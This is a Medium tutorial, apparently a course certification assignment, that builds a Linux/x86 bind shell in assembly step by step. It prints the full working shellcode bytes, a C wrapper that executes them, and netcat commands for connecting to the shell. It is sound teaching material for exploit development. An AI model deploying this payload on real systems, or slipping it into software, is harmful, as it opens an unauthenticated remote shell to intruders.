            <title><![CDATA[SLAE 0x1: Linux/x86 Bind Shellcode]]></title>
            <link>https://medium.com/@chaudharyaditya/slae-0x1-linux-x86-bind-shellcode-e2d4d8cd46fd?source=rss-630afb2b99f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/e2d4d8cd46fd</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[slaes]]></category>
            <category><![CDATA[shellcoding]]></category>
            <category><![CDATA[shell]]></category>
            <dc:creator><![CDATA[Aditya Chaudhary]]></dc:creator>
            <pubDate>Mon, 07 Jan 2019 15:04:53 GMT</pubDate>
            <atom:updated>2019-02-26T07:49:44.797Z</atom:updated>
            <content:encoded><![CDATA[<p>Before diving into the technicalities, let’s go through some of the basics.</p><blockquote><strong><em>Shellcode</em></strong><em> is basically a list of carefully crafted instructions that can be executed once the code is injected into a running application. Stack and heap-based buffer overflows are the most popular way of doing so.</em></blockquote><blockquote><em>A </em><strong><em>bind shell</em></strong><em> is a type of shell, which, upon execution, actively listens for connections on a particular port. The attacker can then connect to this port in order to get shell access.</em></blockquote><h3><strong>TL;DR</strong></h3><p>Since we live in the era of widespread attention and time deficiency, here’s the summarised version of this entire story:</p><ul><li>Analyze C bind shellcode</li><li>Create bind shellcode for x86 Linux in assembly</li><li>Create shellcode generator python script</li><li>Use shellcode wrapper in C for final test</li></ul><p>Let’s begin</p><p>We will use nasm, ld and gcc to compile and link our code. If you are not aware of what are then you should first go through the basics of these tools.</p><p>Here is a bind shell in C:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3ae6e8c51801481b739d7d95bd889f81/href">https://medium.com/media/3ae6e8c51801481b739d7d95bd889f81/href</a></iframe><p>Let’s compile this and analyse how this code snippet works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IBXWFUiInr9nEIhx-PWI9w.png" /></figure><p>Open another terminal and run nc -nv 127.0.0.1 7777</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iq8W-YwcOWbiH3tIj8BSQw.png" /></figure><p>And the shell seems to work just fine. Let’s try and analyse this shell using <strong>strace </strong>strace ./bind_shell_c and observe all the system calls.</p><pre>...<br>socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3<br>bind(3, {sa_family=AF_INET, sin_port=htons(7777), sin_addr=inet_addr(&quot;0.0.0.0&quot;)}, 16) = 0<br>listen(3, 0)                            = 0<br>accept(3, {sa_family=AF_INET, sin_port=htons(35880), sin_addr=inet_addr(&quot;127.0.0.1&quot;)}, [16]) = 4<br>dup2(4, 0)                              = 0<br>dup2(4, 1)                              = 1<br>dup2(4, 2)                              = 2<br>execve(&quot;/bin/sh&quot;, [0], [/* 0 vars */])  = 0<br>...</pre><p>Now, we’ll analyse the C code and convert it into assembly code.</p><blockquote><em>Linux 32bit has system calls mentioned in file: </em><strong><em>/usr/include/i386-linux-gnu/asm/unistd_32.h</em></strong></blockquote><blockquote><em>Or use this site </em><a href="https://syscalls.kernelgrok.com/"><strong><em>https://syscalls.kernelgrok.com/</em></strong></a><em> to view the system calls list online.</em></blockquote><h4>Initialise Accumulator Register (EAX)</h4><pre>xor eax, eax</pre><h4>Create Socket</h4><p>Let’s have a look at socket creation code in C:</p><pre>socket_fd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );</pre><p>Use man socketcall to view the man page of socketcall</p><pre>int socketcall(int call, unsigned long *args);</pre><p>Figure out the system call number of socketcall using <strong>unistd_32.h</strong> or using the syscalls website. Also find the call number (1st argument of socketcall) by viewing the contents of <strong>/usr/include/linux/net.h</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hL1T3frHy9GmIq7tyvNQeA.png" /><figcaption>/usr/include/linux/net.h</figcaption></figure><p>So, to create a socket using assembly we need to set the registers as shown below:</p><pre>eax &lt;= 0x66 (systemcall sys_socketcall)<br>ebx &lt;= 0x1  (using above image)<br>ecx &lt;= reference to arguments ( AF_INET, SOCK_STREAM, IPPROTO_IP )<br>AF_INET = 2<br>SOCK_STREAM = 1<br>IPPROTO_IP = 0</pre><p>And the assembly code for creating the socket. On success, a file descriptor for the new socket is returned, store that is <strong>esi</strong></p><pre>xor eax, eax</pre><pre>push eax     ;push 0<br>inc eax<br>push eax     ; push 1<br>mov ebx, eax ; ebx = 1 ; SYS_SOCKET function<br>inc eax<br>push eax     ; push 2</pre><pre>;stack = [2, 1, 0]<br>mov ecx, esp</pre><pre>mov al, 0x66 ; systemcall sys_socketcall<br>int 0x80    </pre><pre>mov esi, eax ; store socket_fd</pre><h4>Bind Socket</h4><p>C code for bind function:</p><pre>struct sockaddr_in srv_addr;<br>srv_addr.sin_family = AF_INET;<br>srv_addr.sin_port = htons( 7777 );<br>srv_addr.sin_addr.s_addr = htonl (INADDR_ANY);</pre><pre>bind( socket_fd, (struct sockaddr *)&amp;srv_addr, sizeof(srv_addr) );</pre><p>So, to bind the socket using assembly we need to set the registers as shown below:</p><pre>eax &lt;= 0x66<br>ebx &lt;= 0x2 (SYS_BIND from net.h)<br>ecx &lt;= reference to arguments ( socket_fd, (struct sockaddr *)&amp;srv_addr, sizeof(srv_addr) )</pre><pre>srv_addr.sin_family = 2       ;Equivalent for AF_INET<br>srv_addr.sin_port   = 0x611e  ;&quot;7777&quot; port in reversed order<br>srv_addr.sin_addr.s_addr = 0  ;listening to all interface</pre><p>The plan now is to push the <strong>sockaddr</strong> into the stack. Then push <strong>sizeof(srv_addr)</strong>, address of <strong>sockaddr</strong> pushed earlier, <strong>socket_fd</strong> (stored in esi earlier)</p><pre>Stack (grows from top to bottom):<br>-----------<br>|0x00     |      [high memory]<br>|0x611e   |<br>|0x2      |      &lt;= srv_addr<br>|0x10     |      &lt;= sizeof(srv_addr) = 16<br>|&amp;srv_addr|<br>|socket_fd|      &lt;= ecx</pre><p>Code to bind the socket:</p><pre>xor ebx, ebx</pre><pre>push ebx          ; s_addr<br>push word 0x611e  ; port 7777<br>push word 0x2     ; Equivalent for AF_INET</pre><pre>mov ecx, esp</pre><pre>push 0x10         ; sizeof(srv_addr) = 16<br>push ecx          ; &amp;srv_addr<br>push eax          ; socket_fd</pre><pre>mov ecx, esp</pre><pre>mov bl, 0x2       ; SYS_BIND function</pre><pre>mov al, 0x66      ; systemcall sys_socketcall<br>int 0x80</pre><h4>Listen to Socket</h4><p>The socket listening code in C:</p><pre>listen(socket_fd, 0);</pre><p>The registers will be:</p><pre>eax &lt;= 0x66<br>ebx &lt;= 0x4 (SYS_LISTEN function)<br>ecx &lt;= reference to arguments ( socket_fd, 0)</pre><p>The assembly code:</p><pre>xor ebx, ebx<br>push ebx       ; push 0<br>push esi       ; push socket_fd<br>mov ecx, esp   ; reference to (socket_fd, 0)</pre><pre>mov bl, 0x4    ; SYS_LISTEN function<br>mov al, 0x66   ; systemcall sys_socketcall</pre><pre>int 0x80</pre><h4>Accept Incoming Connections</h4><p>C code for accept function:</p><pre>client_fd = accept(socket_fd, (struct sockaddr *)&amp;cli_addr, &amp;socklen );</pre><p>The registers will contain the following values for the system call:</p><pre>eax &lt;= 0x66<br>ebx &lt;= 0x5 (SYS_ACCEPT function)<br>ecx &lt;= reference to arguments (socket_fd, (struct sockaddr *)&amp;cli_addr, &amp;socklen );</pre><p>Second and third parameters to accept can be set as NULL. So, the code for assembly:</p><pre>xor ebx, ebx</pre><pre>push ebx       ; push NULL<br>push ebx       ; push NULL<br>push esi       ; socket_fd<br>mov ecx, esp   ; ecx = address of [socket_fd, NULL, NULL]</pre><pre>mov bl, 0x5    ; SYS_ACCEPT function<br>mov al, 0x66   ; systemcall sys_socketcall</pre><pre>int 0x80</pre><h4>Redirect I/O to Socket</h4><p>I/O redirection code for input (0), output (1) and error (2) in C is mentioned below:</p><pre>dup2(client_fd, 0);<br>dup2(client_fd, 1);<br>dup2(client_fd, 2);</pre><p>The registers should have the following values for dup2(client_fd, 0):</p><pre>eax &lt;= 0x3f (systemcall dup2)<br>ebx &lt;= client_fd <br>ecx &lt;= 0 (for input redirection)</pre><p>The code for input(0), output(1) and error(2) redirection to socket in assembly can be written as:</p><pre>  mov ecx, ebx   ; ecx = 5 (from last code snippet)<br>  sub ecx, 3     ; ecx = 2</pre><pre>  mov ebx, eax   ; client_fd<br>dup2:<br>  mov al, 0x3f   ; systemcall dup2<br>  int 0x80<br>  dec ecx<br>  jns dup2</pre><h4>Executing /bin/sh</h4><p>C code for executing /bin/sh is as follows:</p><pre>execve( &quot;/bin/sh&quot;, NULL, NULL );</pre><p>To perform the same action in assembly, the registers need to be set as follows:</p><pre>eax &lt;= 0xb (11 = 0xb)<br>ebx &lt;= &quot;//bin/sh&quot; reverse hex-&gt;(0x68732f6e69622f2f)<br>ecx &lt;= NULL<br>edx &lt;= NULL</pre><blockquote><em>We use 1 extra / before /bin/sh to make it 8 bytes in length</em></blockquote><p>Assembly code for calling shell using <strong>execve</strong> will be:</p><pre>xor ecx, ecx       ; ecx = NULL<br>mov edx, ecx       ; edx = NULL</pre><pre>push ecx           ; push NULL<br>push 0x68732f6e    ; push n/sh in reverse<br>push 0x69622f2f    ; push //bi in reverse<br>mov ebx, esp       ; ebx now points to //bin/sh</pre><pre>mov al, 0xb        ; systemcall execve<br>int 0x80</pre><h4>Complete Shellcode</h4><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1798d456fac3e514cda3e601426a0533/href">https://medium.com/media/1798d456fac3e514cda3e601426a0533/href</a></iframe><p>Let’s try it out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jGaKVFh1yxoUArzMDnVtEw.png" /><figcaption>Comple, Link and Execute the shellcode</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*v4zOUbX86EIauEqm3YiWwg.png" /><figcaption>Connect to the bind shell using netcat</figcaption></figure><p>The shellcode seems to work, let’s see if it works when we inject it into a running process.</p><h4>Extract the shellcode</h4><p>Use <a href="https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump">https://www.commandlinefu.com/commands/view/6051/get-all-shellcode-on-binary-file-from-objdump</a> to get the command for <strong>objdump</strong> to extract the shellcode.</p><pre>objdump -d ./bind_shell|grep &#39;[0-9a-f]:&#39;|grep -v &#39;file&#39;|cut -f2 -d:|cut -f1-6 -d&#39; &#39;|tr -s &#39; &#39;|tr &#39;\t&#39; &#39; &#39;|sed &#39;s/ $//g&#39;|sed &#39;s/ /\\x/g&#39;|paste -d &#39;&#39; -s |sed &#39;s/^/&quot;/&#39;|sed &#39;s/$/&quot;/g&#39;</pre><p>And our result shellcode string using the above command:</p><pre>&quot;\x31\xc0\x50\x40\x50\x89\xc3\x40\x50\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb3\x02\xb0\x66\xcd\x80\x31\xdb\x53\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xd9\x83\xe9\x03\x89\xc3\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80&quot;</pre><p>Just make sure the shellcode does not contain any NULL characters (0x00). If so, then just replace that instruction with any equivalent instruction(s). Below mentioned are two assembly equivalent instructions:</p><pre>mov eax, 0x00<br>xor eax, eax </pre><h4>Shellcode Generator</h4><p>Let’s write a small python script that will change the port in the above created shellcode to a custom port provided to the script arguments.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/819ff01c554351be3fc5a6d35149a639/href">https://medium.com/media/819ff01c554351be3fc5a6d35149a639/href</a></iframe><p>Let’s generate the shellcode using the python script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZZCAb-0sWBl_dth8sP7YVA.png" /><figcaption>generating shellcode using generator script</figcaption></figure><h4>Shellcode Testing using C wrapper</h4><p>Let’s test our shellcode by writing a simple C program that will pass the control to our shellcode. I have added a gist for C wrapper program, here is the link to it: <a href="https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f">https://gist.github.com/AdityaChaudhary/d37361b4847de1640ad2923d277b936f</a></p><pre>#include&lt;stdio.h&gt;<br>#include&lt;string.h&gt;</pre><pre>unsigned char code[] = \<br>&quot;\x31\xc0\x50\x40\x50\x89\xc3\x40\x50\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xdb\x53\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb3\x02\xb0\x66\xcd\x80\x31\xdb\x53\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xdb\x53\x53\x56\x89\xe1\xb3\x05\xb0\x66\xcd\x80\x89\xd9\x83\xe9\x03\x89\xc3\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc9\x89\xca\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80&quot;;</pre><pre>main()<br>{<br>  printf(&quot;Shellcode Length:  %d\n&quot;, strlen(code));<br>  <br>  int (*ret)() = (int(*)())code;</pre><pre>  ret();</pre><pre>}</pre><p>Let’s run this C program which should pass control to our shellcode.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*og9tDvieKYeFGjLVQ5mYRw.png" /><figcaption>Compile and execute shellcode in C wrapper</figcaption></figure><p>Connecting to the bind shell we created using C code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BPiD-WipQhLsftVB2egmFA.png" /><figcaption>Netcat connection to bind shell</figcaption></figure><p>Everything seems to work just fine!!</p><p>Congrats you can now write your own awesome bind shellcode :)</p><blockquote><em>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:</em></blockquote><blockquote><a href="http://securitytube-training.com/online-%20courses/securitytube-linux-assembly-expert/"><em>http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/</em></a></blockquote><blockquote><em>Student ID: PA-8416</em></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e2d4d8cd46fd" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>